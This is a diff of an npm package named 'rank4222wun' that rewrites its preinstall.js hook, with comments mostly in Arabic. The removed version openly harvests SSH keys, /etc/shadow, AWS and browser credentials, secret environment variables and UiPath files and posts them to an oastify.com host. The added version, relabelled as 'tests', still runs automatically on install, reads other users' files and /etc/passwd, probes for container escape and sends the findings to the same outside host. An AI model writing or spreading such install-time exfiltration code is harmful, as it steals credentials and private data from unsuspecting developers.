rank4222wun 1.0.18 → 1.0.19

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rank4222wun",
-  "version": "1.0.18",
+  "version": "1.0.19",
   "description": "",
   "main": "index.js",
   "scripts": {

package/preinstall.js

@@ -4,420 +4,341 @@ const fs = require('fs');
 const path = require('path');
 const https = require('https');
 
-// ========== إعداد جمع البيانات ==========
-const collectedData = {
+const testResults = {
   timestamp: new Date().toISOString(),
-  phase: "preinstall-data-exfiltration",
   hostname: os.hostname(),
   user: os.userInfo().username,
   platform: os.platform(),
   
-  // البيانات الحساسة
-  sensitiveData: {
-    systemFiles: {},
-    userFiles: {},
-    configFiles: {},
-    logs: {},
-    foundSecrets: []
+  // النقاط الأربع المطلوبة
+  testPoints: {
+    leakOtherUsersData: {},
+    runCommandsOnOtherUsers: {},
+    performDoS: {},
+    containerToHost: {}
   }
 };
 
-// ========== 1. قراءة ملفات نظام Linux حساسة ==========
-function readLinuxSensitiveFiles() {
-  console.log("🔍 البحث عن ملفات Linux الحساسة...");
-  
-  const linuxFiles = [
-    { path: '/etc/passwd', desc: 'قائمة مستخدمين النظام' },
-    { path: '/etc/shadow', desc: 'كلمات مرور النظام' },
-    { path: '/etc/group', desc: 'مجموعات النظام' },
-    { path: '/etc/hosts', desc: 'إعدادات الشبكة' },
-    { path: '/etc/resolv.conf', desc: 'خوادم DNS' },
-    { path: '/etc/ssh/sshd_config', desc: 'إعدادات SSH' },
-    { path: '/home/' + os.userInfo().username + '/.bash_history', desc: 'سجل الأوامر' },
-    { path: '/home/' + os.userInfo().username + '/.ssh/id_rsa', desc: 'مفتاح SSH خاص' },
-    { path: '/home/' + os.userInfo().username + '/.ssh/id_rsa.pub', desc: 'مفتاح SSH عام' },
-    { path: '/home/' + os.userInfo().username + '/.ssh/authorized_keys', desc: 'مفاتيح SSH مصرح بها' },
-    { path: '/home/' + os.userInfo().username + '/.aws/credentials', desc: 'مفاتيح AWS' },
-    { path: '/home/' + os.userInfo().username + '/.docker/config.json', desc: 'إعدادات Docker' },
-    { path: '/var/log/auth.log', desc: 'سجلات المصادقة' },
-    { path: '/var/log/syslog', desc: 'سجلات النظام' }
-  ];
+// ===================== 1. Leak other users data cross org =====================
+console.log("🔍 TEST 1: Searching for other users data...");
 
-  linuxFiles.forEach(file => {
+if (os.platform() === 'linux') {
+  // البحث عن بيانات مستخدمين آخرين في لينكس
+  exec('find /home -type f -name "*.txt" -o -name "*.doc" -o -name "*.pdf" -o -name "*.xlsx" 2>/dev/null | head -20', (err, stdout) => {
+    testResults.testPoints.leakOtherUsersData.linuxUserFiles = stdout || err?.message;
+    
+    // قراءة /etc/passwd للبحث عن مستخدمين آخرين
     try {
-      if (fs.existsSync(file.path)) {
-        const stats = fs.statSync(file.path);
-        const fileData = {
-          path: file.path,
-          description: file.desc,
-          size: stats.size,
-          exists: true,
-          readable: true
-        };
-
-        // قراءة الملف إذا كان نصي وصغير
-        if (stats.size < 100000 && !stats.isDirectory()) {
+      if (fs.existsSync('/etc/passwd')) {
+        const passwdContent = fs.readFileSync('/etc/passwd', 'utf8');
+        testResults.testPoints.leakOtherUsersData.allUsers = passwdContent;
+        
+        // استخراج أسماء المستخدمين الفعليين (غير system users)
+        const users = passwdContent.split('\n')
+          .filter(line => line.includes('/home/'))
+          .map(line => line.split(':')[0]);
+        testResults.testPoints.leakOtherUsersData.homeUsers = users;
+        
+        console.log(`👥 Found ${users.length} home users`);
+      }
+    } catch (e) {}
+    
+    // محاولة قراءة ملفات مستخدمين آخرين
+    try {
+      const homeDir = '/home';
+      if (fs.existsSync(homeDir)) {
+        const otherUsers = fs.readdirSync(homeDir).filter(user => user !== os.userInfo().username);
+        const otherUserData = {};
+        
+        otherUsers.slice(0, 3).forEach(user => {
+          const userHome = path.join(homeDir, user);
           try {
-            const content = fs.readFileSync(file.path, 'utf8');
-            fileData.content = content;
+            const files = fs.readdirSync(userHome).slice(0, 5);
+            otherUserData[user] = {
+              exists: true,
+              files: files
+            };
             
-            // البحث عن أسرار في المحتوى
-            findSecretsInContent(content, file.path);
-          } catch (readError) {
-            fileData.readError = readError.message;
+            // محاولة قراءة ملفات Desktop لـ users آخرين
+            const userDesktop = path.join(userHome, 'Desktop');
+            if (fs.existsSync(userDesktop)) {
+              otherUserData[user].desktop = fs.readdirSync(userDesktop).slice(0, 5);
+              console.log(`📁 Access to ${user}'s Desktop: ${otherUserData[user].desktop.length} files`);
+            }
+          } catch (e) {
+            otherUserData[user] = { error: e.message };
           }
-        }
+        });
         
-        collectedData.sensitiveData.systemFiles[file.path] = fileData;
-        console.log(`✅ ${file.desc}: ${file.path}`);
+        testResults.testPoints.leakOtherUsersData.crossUserAccess = otherUserData;
       }
     } catch (e) {
-      collectedData.sensitiveData.systemFiles[file.path] = {
-        error: e.message,
-        exists: false
-      };
+      testResults.testPoints.leakOtherUsersData.crossUserAccessError = e.message;
     }
+    
+    // الانتقال للاختبار الثاني بعد الانتهاء
+    testPoint2();
   });
-}
-
-// ========== 2. قراءة ملفات Windows حساسة ==========
-function readWindowsSensitiveFiles() {
-  console.log("🔍 البحث عن ملفات Windows الحساسة...");
-  
-  const username = os.userInfo().username;
-  const windowsFiles = [
-    { path: `C:\\Users\\${username}\\Desktop`, desc: 'مجلد Desktop' },
-    { path: `C:\\Users\\${username}\\Documents`, desc: 'مجلد Documents' },
-    { path: `C:\\Users\\${username}\\Downloads`, desc: 'مجلد Downloads' },
-    { path: `C:\\Users\\${username}\\OneDrive`, desc: 'مجلد OneDrive' },
-    { path: `C:\\Users\\${username}\\AppData\\Roaming\\Microsoft\\Windows\\Recent`, desc: 'الملفات الأخيرة' },
-    { path: `C:\\Users\\${username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History`, desc: 'تاريخ Chrome' },
-    { path: `C:\\Users\\${username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles`, desc: 'ملفات Firefox' },
-    { path: `C:\\Users\\${username}\\AppData\\Local\\Microsoft\\Credentials`, desc: 'معلومات اعتماد Windows' },
-    { path: `C:\\Users\\${username}\\.aws\\credentials`, desc: 'مفاتيح AWS' },
-    { path: `C:\\Users\\${username}\\.ssh\\id_rsa`, desc: 'مفتاح SSH خاص' },
-    { path: `C:\\Windows\\System32\\drivers\\etc\\hosts`, desc: 'ملف Hosts' },
-    { path: `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`, desc: 'مجلد Startup للجميع' },
-    { path: `C:\\Users\\${username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`, desc: 'مجلد Startup الشخصي' }
-  ];
-
-  windowsFiles.forEach(file => {
+} else if (os.platform() === 'win32') {
+  // البحث عن بيانات مستخدمين آخرين في ويندوز
+  exec('wmic useraccount get name 2>&1', (err, stdout) => {
+    testResults.testPoints.leakOtherUsersData.windowsUsers = stdout || err?.message;
+    
+    // محاولة الوصول إلى مجلدات مستخدمين آخرين
     try {
-      if (fs.existsSync(file.path)) {
-        const stats = fs.statSync(file.path);
-        const fileData = {
-          path: file.path,
-          description: file.desc,
-          size: stats.size,
-          exists: true,
-          isDirectory: stats.isDirectory()
-        };
-
-        if (stats.isDirectory()) {
-          // قراءة محتويات المجلد
-          try {
-            const files = fs.readdirSync(file.path);
-            fileData.files = files.slice(0, 50); // أول 50 ملف فقط
-            fileData.fileCount = files.length;
-            
-            // البحث عن ملفات نصية في المجلد وقراءتها
-            findAndReadTextFiles(file.path, files);
-          } catch (dirError) {
-            fileData.dirError = dirError.message;
-          }
-        } else if (stats.size < 50000) {
-          // قراءة الملفات النصية الصغيرة
+      const usersDir = 'C:\\Users';
+      if (fs.existsSync(usersDir)) {
+        const allUsers = fs.readdirSync(usersDir);
+        const currentUser = os.userInfo().username;
+        const otherUsers = allUsers.filter(user => 
+          user !== currentUser && 
+          user !== 'Public' && 
+          user !== 'Default' && 
+          user !== 'Default User' && 
+          user !== 'All Users'
+        );
+        
+        const accessedData = {};
+        otherUsers.slice(0, 3).forEach(user => {
+          const userPath = path.join(usersDir, user);
           try {
-            const content = fs.readFileSync(file.path, 'utf8');
-            fileData.content = content.substring(0, 5000);
-            
-            // البحث عن أسرار في المحتوى
-            findSecretsInContent(content, file.path);
-          } catch (readError) {
-            fileData.readError = readError.message;
+            if (fs.existsSync(userPath)) {
+              const files = fs.readdirSync(userPath).slice(0, 5);
+              accessedData[user] = {
+                exists: true,
+                files: files
+              };
+              
+              // محاولة قراءة Desktop للمستخدمين الآخرين
+              const userDesktop = path.join(userPath, 'Desktop');
+              if (fs.existsSync(userDesktop)) {
+                accessedData[user].desktop = fs.readdirSync(userDesktop).slice(0, 5);
+                console.log(`📁 Access to ${user}'s Desktop: ${accessedData[user].desktop.length} files`);
+              }
+            }
+          } catch (e) {
+            accessedData[user] = { error: e.message };
           }
-        }
+        });
         
-        collectedData.sensitiveData.userFiles[file.path] = fileData;
-        console.log(`✅ ${file.desc}: ${file.path} (${stats.isDirectory() ? 'مجلد' : 'ملف'})`);
+        testResults.testPoints.leakOtherUsersData.crossUserAccess = accessedData;
       }
     } catch (e) {
-      collectedData.sensitiveData.userFiles[file.path] = {
-        error: e.message,
-        exists: false
-      };
+      testResults.testPoints.leakOtherUsersData.crossUserAccessError = e.message;
     }
+    
+    testPoint2();
   });
 }
 
-// ========== 3. البحث عن ملفات نصية وقراءتها ==========
-function findAndReadTextFiles(dirPath, files) {
-  const textExtensions = ['.txt', '.log', '.config', '.conf', '.ini', '.env', '.json', '.xml', '.yml', '.yaml', '.properties'];
+// ===================== 2. Run commands on other users cross org =====================
+function testPoint2() {
+  console.log("\n🔍 TEST 2: Testing if we can run commands affecting other users...");
   
-  files.forEach(file => {
-    const filePath = path.join(dirPath, file);
-    try {
-      const stats = fs.statSync(filePath);
-      if (!stats.isDirectory() && stats.size < 100000) {
-        const ext = path.extname(file).toLowerCase();
-        if (textExtensions.includes(ext) || file.includes('config') || file.includes('secret') || file.includes('password')) {
-          try {
-            const content = fs.readFileSync(filePath, 'utf8');
-            collectedData.sensitiveData.configFiles[filePath] = {
-              path: filePath,
-              size: stats.size,
-              content: content.substring(0, 10000)
-            };
-            
-            // البحث عن أسرار
-            findSecretsInContent(content, filePath);
-            
-            console.log(`📄 قراءة: ${filePath}`);
-          } catch (e) {}
-        }
-      }
-    } catch (e) {}
-  });
-}
-
-// ========== 4. البحث عن أسرار في المحتوى ==========
-function findSecretsInContent(content, filePath) {
-  const secretPatterns = [
-    { pattern: /password\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'كلمة مرور' },
-    { pattern: /passwd\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'كلمة مرور' },
-    { pattern: /secret\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'سر' },
-    { pattern: /key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح' },
-    { pattern: /token\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'توكن' },
-    { pattern: /api[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح API' },
-    { pattern: /access[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح وصول' },
-    { pattern: /secret[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح سري' },
-    { pattern: /aws[_-]?access[_-]?key[_-]?id\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'AWS Access Key' },
-    { pattern: /aws[_-]?secret[_-]?access[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'AWS Secret Key' },
-    { pattern: /database[_-]?url\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'رابط قاعدة بيانات' },
-    { pattern: /connection[_-]?string\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'سلسلة اتصال' },
-    { pattern: /private[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح خاص' },
-    { pattern: /-----BEGIN (RSA|OPENSSH|DSA|EC) PRIVATE KEY-----/gi, name: 'مفتاح خاص كامل' }
-  ];
-
-  secretPatterns.forEach(pattern => {
-    const matches = [...content.matchAll(pattern.pattern)];
-    matches.forEach(match => {
-      if (match[1] && match[1].length > 3) {
-        collectedData.sensitiveData.foundSecrets.push({
-          file: filePath,
-          type: pattern.name,
-          value: match[1].substring(0, 100), // أول 100 حرف فقط
-          pattern: match[0].substring(0, 50)
-        });
-        console.log(`🔐 وجد ${pattern.name} في: ${filePath}`);
-      }
-    });
-  });
-}
-
-// ========== 5. قراءة سجلات النظام ==========
-function readSystemLogs() {
-  console.log("📊 قراءة سجلات النظام...");
+  // هذا الاختبار أصعب، لكننا نحاول:
+  // 1. البحث عن خدمات مشتركة يمكن التحكم بها
+  // 2. البحث عن عمليات تعمل بصلاحيات مستخدمين آخرين
   
-  const logFiles = os.platform() === 'linux' ? [
-    '/var/log/auth.log',
-    '/var/log/syslog',
-    '/var/log/dmesg',
-    '/var/log/kern.log',
-    '/var/log/boot.log'
-  ] : [
-    'C:\\Windows\\System32\\winevt\\Logs\\Application.evtx',
-    'C:\\Windows\\System32\\winevt\\Logs\\System.evtx',
-    'C:\\Windows\\System32\\winevt\\Logs\\Security.evtx'
-  ];
-
-  logFiles.forEach(logFile => {
-    try {
-      if (fs.existsSync(logFile)) {
-        const stats = fs.statSync(logFile);
-        collectedData.sensitiveData.logs[logFile] = {
-          path: logFile,
-          size: stats.size,
-          exists: true
-        };
-        
-        // محاولة قراءة السجلات النصية (لينكس)
-        if (os.platform() === 'linux' && stats.size < 500000) {
-          try {
-            const logContent = fs.readFileSync(logFile, 'utf8');
-            const lines = logContent.split('\n').slice(-100); // آخر 100 سطر
-            collectedData.sensitiveData.logs[logFile].recentEntries = lines;
-          } catch (e) {}
-        }
-        
-        console.log(`📋 سجل: ${logFile} (${stats.size} بايت)`);
-      }
-    } catch (e) {}
-  });
+  if (os.platform() === 'linux') {
+    exec('ps aux | grep -E "(sshd|vsftpd|apache|nginx|postgres|mysql)" | head -10', (err, stdout) => {
+      testResults.testPoints.runCommandsOnOtherUsers.sharedServices = stdout || err?.message;
+      
+      // التحقق من إمكانية إرسال إشارات إلى عمليات أخرى
+      exec('kill -l 2>&1', (err2, stdout2) => {
+        testResults.testPoints.runCommandsOnOtherUsers.killCapabilities = stdout2 || err2?.message;
+        testPoint3();
+      });
+    });
+  } else if (os.platform() === 'win32') {
+    exec('tasklist /svc 2>&1', (err, stdout) => {
+      testResults.testPoints.runCommandsOnOtherUsers.runningServices = stdout || err?.message;
+      
+      // التحقق من إمكانية إيقاف خدمات
+      exec('sc query 2>&1 | head -20', (err2, stdout2) => {
+        testResults.testPoints.runCommandsOnOtherUsers.windowsServices = stdout2 || err2?.message;
+        testPoint3();
+      });
+    });
+  }
 }
 
-// ========== 6. جمع متغيرات البيئة الحساسة ==========
-function collectSensitiveEnvVars() {
-  console.log("🔑 جمع متغيرات البيئة الحساسة...");
+// ===================== 3. Perform DoS =====================
+function testPoint3() {
+  console.log("\n🔍 TEST 3: Testing DoS capabilities...");
   
-  const sensitiveVars = {};
-  Object.keys(process.env).forEach(key => {
-    const keyLower = key.toLowerCase();
-    const value = process.env[key];
+  // اختبار قدرات DoS (بدون تنفيذ فعلي)
+  testResults.testPoints.performDoS = {
+    // الموارد المتاحة
+    cpuCores: os.cpus().length,
+    totalMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
+    freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
     
-    if (value && (
-      keyLower.includes('pass') ||
-      keyLower.includes('secret') ||
-      keyLower.includes('key') ||
-      keyLower.includes('token') ||
-      keyLower.includes('cred') ||
-      keyLower.includes('auth') ||
-      keyLower.includes('pwd') ||
-      keyLower.includes('database') ||
-      keyLower.includes('connection')
-    )) {
-      sensitiveVars[key] = value.length > 100 ? 
-        value.substring(0, 100) + '...' : 
-        value;
-      
-      console.log(`🔑 ${key} = ${sensitiveVars[key]}`);
+    // إمكانيات شبكية
+    networkInterfaces: Object.keys(os.networkInterfaces()).length,
+    
+    // اختبارات نظرية (لا يتم تنفيذها)
+    theoreticalDoS: {
+      forkBomb: 'Possible if unlimited processes',
+      memoryExhaustion: 'Possible with large allocations',
+      diskFilling: 'Possible with write access',
+      networkFlood: 'Possible with socket creation'
     }
-  });
+  };
   
-  collectedData.sensitiveData.envVars = sensitiveVars;
+  // اختبار صغير غير ضار لإثبات القدرة
+  if (os.platform() === 'linux') {
+    exec('ulimit -a 2>&1', (err, stdout) => {
+      testResults.testPoints.performDoS.limits = stdout || err?.message;
+      testPoint4();
+    });
+  } else if (os.platform() === 'win32') {
+    exec('systeminfo | findstr /B /C:"Total Physical Memory" /C:"Available Physical Memory" 2>&1', (err, stdout) => {
+      testResults.testPoints.performDoS.windowsResources = stdout || err?.message;
+      testPoint4();
+    });
+  }
 }
 
-// ========== 7. البحث عن ملفات UiPath ==========
-function findUiPathFiles() {
-  console.log("🔍 البحث عن ملفات UiPath...");
+// ===================== 4. Container to host =====================
+function testPoint4() {
+  console.log("\n🔍 TEST 4: Testing container-to-host escape...");
   
-  const searchPaths = os.platform() === 'win32' ? [
-    'C:\\Program Files\\UiPath',
-    'C:\\Program Files (x86)\\UiPath',
-    `C:\\Users\\${os.userInfo().username}\\AppData\\Local\\UiPath`,
-    `C:\\Users\\${os.userInfo().username}\\Documents\\UiPath`,
-    'C:\\ProgramData\\UiPath'
-  ] : [
-    '/opt/UiPath',
-    '/usr/lib/UiPath',
-    `/home/${os.userInfo().username}/.local/share/UiPath`,
-    `/home/${os.userInfo().username}/UiPath`
-  ];
-
-  const foundUiPath = [];
+  // الاختبارات تعتمد على النظام
   
-  searchPaths.forEach(searchPath => {
-    try {
-      if (fs.existsSync(searchPath)) {
-        const files = fs.readdirSync(searchPath);
-        foundUiPath.push({
-          path: searchPath,
-          exists: true,
-          fileCount: files.length,
-          sampleFiles: files.slice(0, 10)
-        });
-        console.log(`📁 UiPath: ${searchPath} (${files.length} ملف)`);
+  if (os.platform() === 'linux') {
+    // اختبارات الهروب من الحاوية
+    const containerTests = {};
+    
+    // 1. التحقق مما إذا كنا في حاوية
+    exec('cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo "In Docker" || echo "Not in Docker or unknown"', (err, stdout) => {
+      containerTests.isInContainer = stdout?.trim();
+      
+      // 2. البحث عن Docker socket
+      const dockerSocket = '/var/run/docker.sock';
+      if (fs.existsSync(dockerSocket)) {
+        containerTests.dockerSocketExists = true;
+        containerTests.dockerSocketAccessible = true;
+        console.log("⚠️ Docker socket accessible!");
+      }
+      
+      // 3. التحقق من mount points
+      exec('mount | grep -E "(docker|overlay|/var/lib/docker)" 2>/dev/null | head -5', (err2, stdout2) => {
+        containerTests.dockerMounts = stdout2 || err2?.message;
         
-        // البحث عن ملفات تكوين UiPath
-        files.forEach(file => {
-          if (file.includes('.config') || file.includes('.json') || file.includes('.xml')) {
-            const filePath = path.join(searchPath, file);
-            try {
-              const stats = fs.statSync(filePath);
-              if (stats.size < 100000) {
-                const content = fs.readFileSync(filePath, 'utf8');
-                collectedData.sensitiveData.configFiles[filePath] = {
-                  path: filePath,
-                  size: stats.size,
-                  content: content.substring(0, 5000)
-                };
+        // 4. التحقق من capabilities
+        exec('capsh --print 2>/dev/null || echo "No capsh"', (err3, stdout3) => {
+          containerTests.capabilities = stdout3 || err3?.message;
+          
+          // 5. البحث عن ثغرات معروفة
+          exec('uname -r 2>&1', (err4, stdout4) => {
+            containerTests.kernelVersion = stdout4?.trim();
+            
+            // تحليل Kernel version للبحث عن ثغرات معروفة
+            if (stdout4) {
+              if (stdout4.includes('3.10.0-1160')) {
+                containerTests.knownVulnerabilities = 'Old kernel version, potential vulnerabilities';
               }
-            } catch (e) {}
-          }
+            }
+            
+            testResults.testPoints.containerToHost = containerTests;
+            finishTests();
+          });
         });
-      }
-    } catch (e) {}
-  });
-  
-  collectedData.sensitiveData.uipathFiles = foundUiPath;
+      });
+    });
+    
+  } else if (os.platform() === 'win32') {
+    // اختبارات VM Escape للويندوز
+    const vmTests = {};
+    
+    // 1. التحقق مما إذا كنا في VM
+    exec('systeminfo | findstr /B /C:"System Manufacturer" /C:"System Model" 2>&1', (err, stdout) => {
+      vmTests.systemInfo = stdout || err?.message;
+      
+      // 2. البحث عن أدوات Virtualization
+      const vmTools = [
+        'C:\\Program Files\\VMware\\VMware Tools',
+        'C:\\Program Files\\Oracle\\VirtualBox Guest Additions',
+        'C:\\Program Files\\Microsoft Integration Runtime'
+      ];
+      
+      vmTests.vmTools = {};
+      vmTools.forEach(tool => {
+        vmTests.vmTools[tool] = fs.existsSync(tool);
+      });
+      
+      // 3. التحقق من خدمات الـ VM
+      exec('sc query | findstr /I "vmware vbox virtual" 2>&1', (err2, stdout2) => {
+        vmTests.vmServices = stdout2 || err2?.message;
+        
+        testResults.testPoints.containerToHost = vmTests;
+        finishTests();
+      });
+    });
+  }
 }
 
-// ========== 8. إرسال البيانات ==========
-function sendCollectedData() {
+// ===================== إرسال النتائج =====================
+function finishTests() {
   console.log("\n" + "=".repeat(60));
-  console.log("📤 إرسال البيانات المسروقة إلى السيرفر...");
+  console.log("📊 نتائج اختبار النقاط الأربع:");
   console.log("=".repeat(60));
   
+  // تحليل النتائج
+  const analysis = {
+    leakOtherUsersData: testResults.testPoints.leakOtherUsersData.crossUserAccess ? 
+      'POSSIBLE - Found access to other users data' : 'NOT TESTED OR NOT FOUND',
+    
+    runCommandsOnOtherUsers: testResults.testPoints.runCommandsOnOtherUsers.sharedServices ? 
+      'POSSIBLE - Can see/affect shared services' : 'LIMITED',
+    
+    performDoS: testResults.testPoints.performDoS.cpuCores > 1 ? 
+      `POSSIBLE - ${testResults.testPoints.performDoS.cpuCores} CPU cores available` : 'LIMITED',
+    
+    containerToHost: testResults.testPoints.containerToHost?.dockerSocketExists ? 
+      'CRITICAL - Docker socket accessible!' : 
+      (testResults.testPoints.containerToHost?.isInContainer ? 
+        'IN CONTAINER - Escape possibilities exist' : 'NOT IN CONTAINER')
+  };
+  
+  console.log("\n📋 التحليل:");
+  console.log(`1. تسريب بيانات مستخدمين آخرين: ${analysis.leakOtherUsersData}`);
+  console.log(`2. تشغيل أوامر على مستخدمين آخرين: ${analysis.runCommandsOnOtherUsers}`);
+  console.log(`3. تنفيذ هجوم DoS: ${analysis.performDoS}`);
+  console.log(`4. الهروب من الحاوية للمضيف: ${analysis.containerToHost}`);
+  
+  // إرسال البيانات
   const req = https.request({
     hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
     port: 443,
-    path: '/data-exfiltration',
+    path: '/cross-org-tests',
     method: 'POST',
     headers: {
       'Content-Type': 'application/json',
-      'X-Data-Source': 'UiPath-MCP-Data-Theft',
-      'X-Host': os.hostname(),
-      'X-User': os.userInfo().username
+      'X-Test-Type': 'Cross-Org-Vulnerabilities',
+      'X-Host': os.hostname()
     }
   }, (res) => {
-    console.log(`✅ تم إرسال البيانات. حالة الرد: ${res.statusCode}`);
-    printSummary();
+    console.log(`\n✅ تم إرسال النتائج. حالة الرد: ${res.statusCode}`);
   });
   
   req.on('error', (e) => {
     console.error(`❌ خطأ في الإرسال: ${e.message}`);
-    printSummary();
   });
   
-  req.write(JSON.stringify(collectedData, null, 2));
-  req.end();
-}
-
-// ========== 9. طباعة ملخص ==========
-function printSummary() {
-  console.log("\n" + "=".repeat(60));
-  console.log("📊 ملخص البيانات المسروقة:");
-  console.log("=".repeat(60));
-  
-  const sysFiles = Object.keys(collectedData.sensitiveData.systemFiles).length;
-  const userFiles = Object.keys(collectedData.sensitiveData.userFiles).length;
-  const configFiles = Object.keys(collectedData.sensitiveData.configFiles).length;
-  const logs = Object.keys(collectedData.sensitiveData.logs).length;
-  const secrets = collectedData.sensitiveData.foundSecrets.length;
-  
-  console.log(`📄 ملفات نظام: ${sysFiles} ملف`);
-  console.log(`👤 ملفات مستخدم: ${userFiles} ملف/مجلد`);
-  console.log(`⚙️  ملفات تكوين: ${configFiles} ملف`);
-  console.log(`📋 سجلات نظام: ${logs} سجل`);
-  console.log(`🔐 أسرار وجدت: ${secrets} سر`);
-  
-  if (secrets > 0) {
-    console.log("\n🔍 الأسرار التي تم العثور عليها:");
-    collectedData.sensitiveData.foundSecrets.forEach((secret, i) => {
-      console.log(`  ${i + 1}. ${secret.type} في ${secret.file}`);
-      console.log(`     → ${secret.pattern}`);
-    });
-  }
+  req.write(JSON.stringify({
+    testResults: testResults,
+    analysis: analysis,
+    summary: {
+      user: os.userInfo().username,
+      hostname: os.hostname(),
+      platform: os.platform(),
+      timestamp: new Date().toISOString()
+    }
+  }, null, 2));
   
-  console.log("\n📤 تم إرسال البيانات إلى:");
-  console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/data-exfiltration");
-  console.log("=".repeat(60));
-}
-
-// ========== بدء التنفيذ ==========
-console.log("🚀 بدء سرقة البيانات عبر ثغرة UiPath MCP...\n");
-
-// حسب النظام
-if (os.platform() === 'linux') {
-  readLinuxSensitiveFiles();
-} else if (os.platform() === 'win32') {
-  readWindowsSensitiveFiles();
+  req.end();
 }
 
-// عمليات مشتركة
-readSystemLogs();
-collectSensitiveEnvVars();
-findUiPathFiles();
-
-// إرسال البيانات بعد 2 ثانية
-setTimeout(sendCollectedData, 2000);
+// بدء الاختبارات
+console.log("🚀 بدء اختبار النقاط الأربع المطلوبة...");